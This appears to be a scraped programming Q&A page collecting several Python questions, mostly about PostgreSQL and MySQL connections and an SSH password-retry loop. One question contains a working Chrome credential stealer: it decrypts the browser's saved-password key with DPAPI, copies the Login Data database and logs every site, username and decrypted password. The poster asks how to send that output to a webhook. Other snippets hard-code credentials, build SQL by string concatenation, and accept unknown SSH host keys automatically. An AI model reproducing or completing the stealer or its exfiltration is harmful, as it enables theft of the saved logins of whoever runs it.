Develop Reference

Data Tables uploading to local PostgreSQL

I am running a data parser/web scraper with python. The parser then pushes the data (SQL Tables) to postgresql. However, I can't find the tables in pgadmin. This is part of a full stack django webapp, using docker, which I did not create but I am trying to get to run locally. As far as I can tell docker containers are working as intended, and so is the dataparsing script. Since I don't know much about issues like this please let me know if there is anything else I should include
Database connection in python
import psycopg2
import logging
import sys
import os
class DatabaseConnection(object):
def __init__(self, user="postgres", password="1234", host="127.0.0.1", port="5432", database="postgres",
course_table="course_info", prereqs_table="prereqs", antireqs_table="antireqs",
requirements_table="requirements", communications_table="communications",
breadth_table="breadth_table"):
if os.getenv("UWPATH_ENVIRONMENT") is not None and os.getenv("UWPATH_ENVIRONMENT") == "docker":
host = "db"
if os.getenv("DB_PASS") is not None:
password = os.getenv("DB_PASS")
if os.getenv("DB_USER") is not None:
user = os.getenv("DB_USER")
if os.getenv("DB_NAME") is not None:
database = os.getenv("DB_NAME")
if os.getenv("DB_HOST") is not None:
host = os.getenv("DB_HOST")
if os.getenv("DB_PORT") is not None:
port = os.getenv("DB_PORT")
self.connection = psycopg2.connect(user=user, password=password, host=host, port=port, database=database)
self.cursor = self.connection.cursor()
self.course_table = course_table
self.prereqs_table = prereqs_table
self.antireqs_table = antireqs_table
self.requirements_table = requirements_table
self.communications_table = communications_table
self.breadth_table = breadth_table
self.root = self.__Logger()
def __Logger(self):
self.logger = logging.getLogger()
if not len(self.logger.handlers):
self.logger.setLevel(logging.DEBUG)
handler = logging.StreamHandler(sys.stdout)
handler.setLevel(logging.DEBUG)
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
handler.setFormatter(formatter)
self.logger.addHandler(handler)
return self.logger
def execute(self, command):
try:
# self.root.info(command)
print(command)
self.cursor.execute(command)
return True
except Exception as e:
print(command)
self.root.error(e)
return False
def commit(self):
if self.connection:
self.connection.commit()
def close(self):
self.connection.close()
def select(self, what, table, condition=""):
"""
SELECT <what> FROM <table> <condition>;
:param what: string
:param table: string
:param condition: string
:return: list
"""
command = "SELECT " + what + " FROM " + table + " " + condition + ";"
self.execute(command)
return self.cursor.fetchall()
Trying to access the backend in browser returns this, which makes me believes the tables don't exist in postgresql
Output in txt file (roughly 300,000 lines, IDK if this is useful in analyzing the problem but thought I'd include it either way)

How do I send a LOG output to a webhook?

How do I send these log outputs to a webhook? Script below (Python 3.9). I have successfully changed the print output to log outputs, and the code works, however, I need the output to be able to be sent to a webhook.
import os
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta
import logging
# Get the top-level logger object
log = logging.getLogger()
# make it print to the console.
console = logging.StreamHandler()
log.addHandler(console)
def chrome_date_and_time(chrome_data):
# Chrome_data format is 'year-month-date
# hr:mins:seconds.milliseconds
# This will return datetime.datetime Object
return datetime(1601, 1, 1) + timedelta(microseconds=chrome_data)
def fetching_encryption_key():
# Local_computer_directory_path will look
# like this below
# C: => Users => <Your_Name> => AppData =>
# Local => Google => Chrome => User Data =>
# Local State
local_computer_directory_path = os.path.join(
os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome",
"User Data", "Local State")
with open(local_computer_directory_path, "r", encoding="utf-8") as f:
local_state_data = f.read()
local_state_data = json.loads(local_state_data)
# decoding the encryption key using base64
encryption_key = base64.b64decode(
local_state_data["os_crypt"]["encrypted_key"])
# remove Windows Data Protection API (DPAPI) str
encryption_key = encryption_key[5:]
# return decrypted key
return win32crypt.CryptUnprotectData(encryption_key, None, None, None, 0)[1]
def password_decryption(password, encryption_key):
try:
iv = password[3:15]
password = password[15:]
# generate cipher
cipher = AES.new(encryption_key, AES.MODE_GCM, iv)
# decrypt password
return cipher.decrypt(password)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
except:
return "No Passwords"
def main():
key = fetching_encryption_key()
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"Google", "Chrome", "User Data", "default", "Login Data")
filename = "ChromePasswords.db"
shutil.copyfile(db_path, filename)
# connecting to the database
db = sqlite3.connect(filename)
cursor = db.cursor()
# 'logins' table has the data
cursor.execute(
"select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins "
"order by date_last_used")
# iterate over all rows
for row in cursor.fetchall():
main_url = row[0]
login_page_url = row[1]
user_name = row[2]
decrypted_password = password_decryption(row[3], key)
date_of_creation = row[4]
last_usuage = row[5]
if user_name or decrypted_password:
log.warn(f"Main URL: {main_url}")
log.warn(f"Login URL: {login_page_url}")
log.warn(f"User name: {user_name}")
log.warn(f"Decrypted Password: {decrypted_password}")
else:
continue
if date_of_creation != 86400000000 and date_of_creation:
log.warn(f"Creation date: {str(chrome_date_and_time(date_of_creation))}")
if last_usuage != 86400000000 and last_usuage:
log.warn(f"Last Used: {str(chrome_date_and_time(last_usuage))}")
log.warn("=" * 100)
cursor.close()
db.close()
try:
# trying to remove the copied db file as
# well from local computer
os.remove(filename)
except:
pass
if __name__ == "__main__":
main()
Thank you for helping and anyhting helps. If there is anyway to combine these logout puts into less code please tell me too.

Best practice to handle a MySQL connection in a long running python script

I currently have a long running python script (multiple days), which occasionally executes queries in a mysql db. The queries are executed from different threads.
I connect to the db as following:
import mysql.connector
import time
class DB():
connection = None
def __init__(self, host, user, password, database):
self.host = host;
self.user = user;
self.password = password;
self.database = database;
self.connect()
def connect(self):
try:
self.connection = mysql.connector.connect(
host = self.host,
user = self.user,
password = self.password,
database = self.database,
autocommit = True,
)
except Exception as exception:
print("[DBCONNECTION] {exception} Retrying in 5 seconds.".format(exception = str(exception)))
time.sleep(5)
self.connect()
db = DB("11.111.11.111", "mydb", "mydb", "mydb")
One of the functions to execute a query:
def getUsersDB(self):
db.connection.ping(reconnect=True)
cursor = db.connection.cursor()
cursor.execute("SELECT * FROM Users")
users = cursor.fetchall()
return users
I believe, that I'm far away from a good practice how I handle the connection. What is the correct way for such a case?

The problem with your approach is that db.connection.ping(reconnect=True) doesn't promise you a live connection.
You can read the function's description here:
https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlconnection-ping.html
You can try to use this:
class DB:
connection = None
def __init__(
self,
host: str,
user: str,
password: str,
database: str
) -> None:
self.host = host
self.user = user
self.password = password
self.database = database
self.connection = self.init_conn()
def init_conn(
self,
):
return mysql.connector.connect(
host=self.host,
user=self.user,
password=self.password,
database=self.database,
)
def get_cursor(
self,
):
# This will try to reconnect also.
# In case it fails, you will have to create a new connection
try:
self.connection.ping(
reconnect=True,
attempts=3,
delay=5,
)
except mysql.connector.InterfaceError as err:
self.connection = self.init_conn()
return self.connection.cursor()
And use the DB object like this:
def getUsersDB(self):
cursor = db.get_cursor() # cursor from a live connection
cursor.execute("SELECT * FROM Users")
users = cursor.fetchall()
return users

Python uncaught exception when inserting data into mysql database

I have a python AWS lambda function that takes JSON records, checks them to see if they have required keys, and then inserts into a MySQL db (AWS RDS Aurora). The function gets invoked whenever a new record comes into the stream def handler.
At the moment, Lambda is reporting some errors, but when I look at cloudwatch logs I don't see any errors, which leads me to believe that maybe I'm not handling or catching the exception. Can anyone tell me where the issue might be?
from __future__ import print_function
import base64
import json
import pymysql
RDS_HOST = 'host'
DB_USER = 'dummy_user'
DB_PASSWORD = 'password1234'
DB_NAME = 'crazy_name'
DB_TABLE = 'wow_table'
class MYSQL(object):
'''
This a wrapper Class for PyMySQL
'''
CONNECTION_TIMEOUT = 30
def __init__(self, host, user, password, database, table):
self.host = host
self.user = user
self.password = password
self.database = database
self.table = table
self.connection = self.connect()
def connect(self):
'''
Connects to MySQL instance
'''
try:
connection = pymysql.connect(
host=self.host,
user=self.user,
password=self.password,
db=self.database,
connect_timeout=self.CONNECTION_TIMEOUT
)
return connection
except Exception as ex:
print(ex)
print("ERROR: Unexpected error: Could not connect to AuroraDB instance")
def execute(self, account_id, external_ref_id, timestamp):
'''
Executes command given a MySQL connection
'''
with self.connection.cursor() as cursor:
sql = ('INSERT INTO ' +
self.database +
'.' +
self.table +
'(`account_id`, `external_reference_id`, `registration`, `c_name`, `c_id`, `create_date`)' +
' VALUES (%s, %s, DATE_FORMAT(STR_TO_DATE(%s,"%%Y-%%M-%%d %%H:%%i:%%s"),"%%Y-%%m-%%d %%H:%%i:%%s"), %s, %s, current_timestamp())' +
' ON DUPLICATE KEY UPDATE create_date = VALUES(create_date)')
cursor.execute(sql, (
account_id,
external_ref_id,
timestamp,
'bingo',
300)
)
self.connection.commit()
def close_connection(self):
'''
Closes connection to MySQL
'''
self.connection.close()
def get_data_from_kinesis_object(obj):
'''
Retrieves data from kinesis event
'''
return obj['kinesis']['data']
def decode_data(data):
'''
Decodes record via base64
'''
return base64.b64decode(data)
def split_records_into_record(records):
'''
Splits a record of records into an array of records
'''
return records.split('\n')
def parse_record(record):
'''
parses record into JSON
'''
if record:
return json.loads(record)
def is_record_valid(record):
'''
Check for keys in event
returns True if they all exist
and False if they dont all exist
'''
return all(key in record for key in (
'eventName',
'sourceType',
'AccountId',
'Timestamp',
'ExternalReferenceId'
))
def handler(event, context):
"""
This function inserts data into Aurora RDS instance
"""
mysql = MYSQL(RDS_HOST, DB_USER, DB_PASSWORD, DB_NAME, DB_TABLE)
for obj in event['Records']:
records = decode_data(get_data_from_kinesis_object(obj))
split_records = split_records_into_record(records)
for record in split_records:
parsed_record = parse_record(record)
if is_record_valid(parsed_record):
mysql.execute(
parsed_record['AccountId'],
parsed_record['ExternalReferenceId'],
str(parsed_record['Timestamp'])
)
mysql.close_connection()

How do I recursively try different SSH passwords in Python?

We use multiple sets of predefined passwords here for test servers - I would like to try a portable Python SSH library (like the one below - spur.py) and get it to try each one in succession - but obviously stop when it is successfully connected or if it can't - ask me for a password. I'm after some sort of recursion with the exception handling I think.
def ssh_connection(user, host):
try:
shell = spur.SshShell(
hostname=host,
port=findport(host),
username=user,
password="abc123",
private_key_file= expanduser("~") + "/.ssh/id_rsa",
missing_host_key=spur.ssh.MissingHostKey.accept
)
shell.run(["true"])
return shell
except spur.ssh.ConnectionError as error:
print error
raise
Coming from the Java world I'd check if the object is null and iterate through a list until the end and then ask for a password. I can't see how to do it in Python... Here's an example I found for the list part:
passwords = ['abc123', 'abc456', 'abc789']
for password in passwords: # Second Example
print 'trying password :', password

As Joe mentioned in the comments you can do something similar:
def ssh_connection(user, host, passwords):
err = None
for password in passwords:
try:
shell = spur.SshShell(
hostname=host,
port=findport(host),
username=user,
password=password,
private_key_file= expanduser("~") + "/.ssh/id_rsa",
missing_host_key=spur.ssh.MissingHostKey.accept
)
shell.run(["true"])
return shell
except spur.ssh.ConnectionError as error:
err = error
if err:
raise error

I would cut it in 2 different functions:
def ssh_connection(user, host, password):
"""
try to connect to user:password#host
return None if failed
"""
try:
shell = spur.SshShell(
hostname=host,
port=findport(host),
username=user,
password=password,
private_key_file=expanduser("~") + "/.ssh/id_rsa",
missing_host_key=spur.ssh.MissingHostKey.accept
)
shell.run(["true"])
return shell
except spur.ssh.ConnectionError as error:
print error
return
def try_connection(user, host, passwords):
"""
try all password in passwords to connect to host
if all failed, ask for password via stdin
"""
for password in passwords:
conn = ssh_connection(user, host, password)
if not conn is None:
break
else:
# we never hit the break: ask for passwd
password = ""
while conn is None:
print "please insert password for %s#%s (empty for exit)" % (user,host)
password = raw_input("passwd:") # todo : insert Term seq for hide passwd and then restor
if password == "":
sys.exit(1)
conn = ssh_connection(user, host, password)
return conn

My comment above got mangled, so here is #Joe Doherty suggestion used with code from Ifthikan - thanks!
def loop_ssh_connection(user, host):
shell = None
passw = ['abc123', 'abc456', 'abc789']
while shell is None:
shell = ssh_connection(user, host, passw)
result = shell.run(["ls", "-l"])
print result.output # prints ouput
def ssh_connection(user, host, passw):
err = None
for password in passw:
try:
shell = spur.SshShell(
hostname=host,
port=findport(host),
username=user,
password=password,
private_key_file= expanduser("~") + "/.ssh/id_rsa",
missing_host_key=spur.ssh.MissingHostKey.accept
)
shell.run(["true"])
return shell
except spur.ssh.ConnectionError as error:
err = error
if err:
raise error